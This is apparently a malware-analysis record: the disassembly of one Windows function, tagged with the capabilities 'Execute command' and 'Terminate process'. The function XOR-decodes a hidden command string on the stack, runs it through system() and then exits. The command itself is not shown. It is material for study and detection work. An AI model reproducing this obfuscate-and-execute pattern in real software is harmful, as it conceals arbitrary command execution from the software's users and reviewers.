Function at 0x180006f10
Capabilities:
Execute command
Terminate process

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
cmp byte [rcx + 0x40], 0
jne 0x180007142
movdqa xmm1, xmmword [0x180213ab0]
mov dl, WSAStartup
movd ecx, xmm1
movdqa xmm0, xmm1
movdqa xmm2, xmmword [0x1802138b0]
mov r8b, reloc.WS2_32.dll_WSACleanup
movdqa xmm3, xmmword [0x180213900]
mov r9b, Ordinal_50
movdqa xmm4, xmmword [0x180213940]
mov r10b, Ordinal_46
movdqa xmm5, xmmword [0x180213aa0]
mov r11b, 0x3d
movdqa xmmword [rbp - 0x19], xmm2
xor byte [rbp - 0x18], cl
xor byte [rbp - 0x17], cl
xor byte [rbp - 0x16], cl
xor byte [rbp - 0x15], cl
xor byte [rbp - 0x14], cl
xor byte [rbp - 0x13], cl
xor byte [rbp - 0x12], cl
xor byte [rbp - 0x11], cl
xor byte [rbp - 0x10], cl
xor byte [rbp - 0xf], cl
xor byte [rbp - 0xe], cl
xor byte [rbp - 0xd], cl
xor byte [rbp - 0xc], cl
xor byte [rbp - 0xb], cl
xor byte [rbp - 0xa], cl
movdqa xmmword [rbp - 9], xmm3
xor byte [rbp - 8], cl
xor byte [rbp - 7], cl
xor byte [rbp - 6], cl
xor byte [rbp - 5], cl
xor byte [rbp - 4], cl
xor byte [rbp - 3], cl
xor byte [rbp - 2], cl
xor byte [rbp - 1], cl
xor byte [rbp], cl
xor byte [rbp + 1], cl
xor byte [rbp + 2], cl
xor byte [rbp + 3], cl
xor byte [rbp + 4], cl
xor byte [rbp + 5], cl
xor byte [rbp + 6], cl
movdqa xmmword [rbp - 0x29], xmm1
xor byte [rbp - 0x27], cl
xor byte [rbp - 0x26], cl
xor byte [rbp - 0x25], cl
xor byte [rbp - 0x24], cl
xor byte [rbp - 0x23], cl
xor byte [rbp - 0x22], cl
xor byte [rbp - 0x21], cl
xor byte [rbp - 0x20], cl
xor byte [rbp - 0x1f], cl
xor byte [rbp - 0x1e], cl
xor byte [rbp - 0x1d], cl
xor byte [rbp - 0x1c], cl
xor byte [rbp - 0x1b], cl
xor byte [rbp - 0x1a], cl
mov qword [rax + 8], rbx
mov bl, reloc.WLDAP32.dll_Ordinal_32
mov qword [rax + 0x10], rdi
mov dil, 0x76
movaps xmmword [rax - 0x18], xmm6
movdqa xmm6, xmmword [0x180213a90]
psrldq xmm0, 1
movd eax, xmm0
movdqa xmmword [rbp + 7], xmm4
movdqa xmmword [rbp + 0x17], xmm5
xor al, cl
movdqa xmmword [rbp + 0x27], xmm6
mov byte [rbp - 0x28], al
movd eax, xmm2
xor al, cl
mov byte [rbp - 0x19], al
movd eax, xmm3
xor al, cl
mov byte [rbp - 9], al
movd eax, xmm4
xor al, cl
mov byte [rbp + 7], al
xor byte [rbp + 8], cl
xor dl, cl
xor byte [rbp + 9], cl
xor r8b, cl
xor byte [rbp + 0xa], cl
xor r9b, cl
xor byte [rbp + 0xb], cl
xor r10b, cl
xor byte [rbp + 0xc], cl
xor r11b, cl
xor byte [rbp + 0xd], cl
xor bl, cl
xor byte [rbp + 0xe], cl
xor dil, cl
xor byte [rbp + 0xf], cl
xor byte [rbp + 0x10], cl
xor byte [rbp + 0x11], cl
xor byte [rbp + 0x12], cl
xor byte [rbp + 0x13], cl
xor byte [rbp + 0x14], cl
xor byte [rbp + 0x15], cl
xor byte [rbp + 0x16], cl
xor byte [rbp + 0x18], cl
xor byte [rbp + 0x19], cl
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
xor byte [rbp + 0x1f], cl
xor byte [rbp + 0x20], cl
xor byte [rbp + 0x21], cl
xor byte [rbp + 0x22], cl
xor byte [rbp + 0x23], cl
xor byte [rbp + 0x24], cl
xor byte [rbp + 0x25], cl
xor byte [rbp + 0x26], cl
xor byte [rbp + 0x28], cl
xor byte [rbp + 0x29], cl
xor byte [rbp + 0x2a], cl
xor byte [rbp + 0x2b], cl
xor byte [rbp + 0x2c], cl
xor byte [rbp + 0x2d], cl
xor byte [rbp + 0x2e], cl
xor byte [rbp + 0x2f], cl
xor byte [rbp + 0x30], cl
xor byte [rbp + 0x31], cl
xor byte [rbp + 0x32], cl
xor byte [rbp + 0x33], cl
xor byte [rbp + 0x34], cl
xor byte [rbp + 0x35], cl
xor byte [rbp + 0x36], cl
movd eax, xmm5
mov byte [rbp + 0x37], dl
mov byte [rbp + 0x38], r8b
xor al, cl
mov byte [rbp + 0x39], r9b
mov byte [rbp + 0x17], al
movd eax, xmm6
mov byte [rbp + 0x3a], r10b
mov byte [rbp + 0x3b], r11b
xor al, cl
mov byte [rbp + 0x3c], bl
lea rcx, [rbp - 0x28]
mov byte [rbp + 0x27], al
mov byte [rbp + 0x3d], dil
mov byte [rbp + 0x3e], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
movaps xmm6, xmmword [rsp + 0x90]
mov rdi, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rbp
ret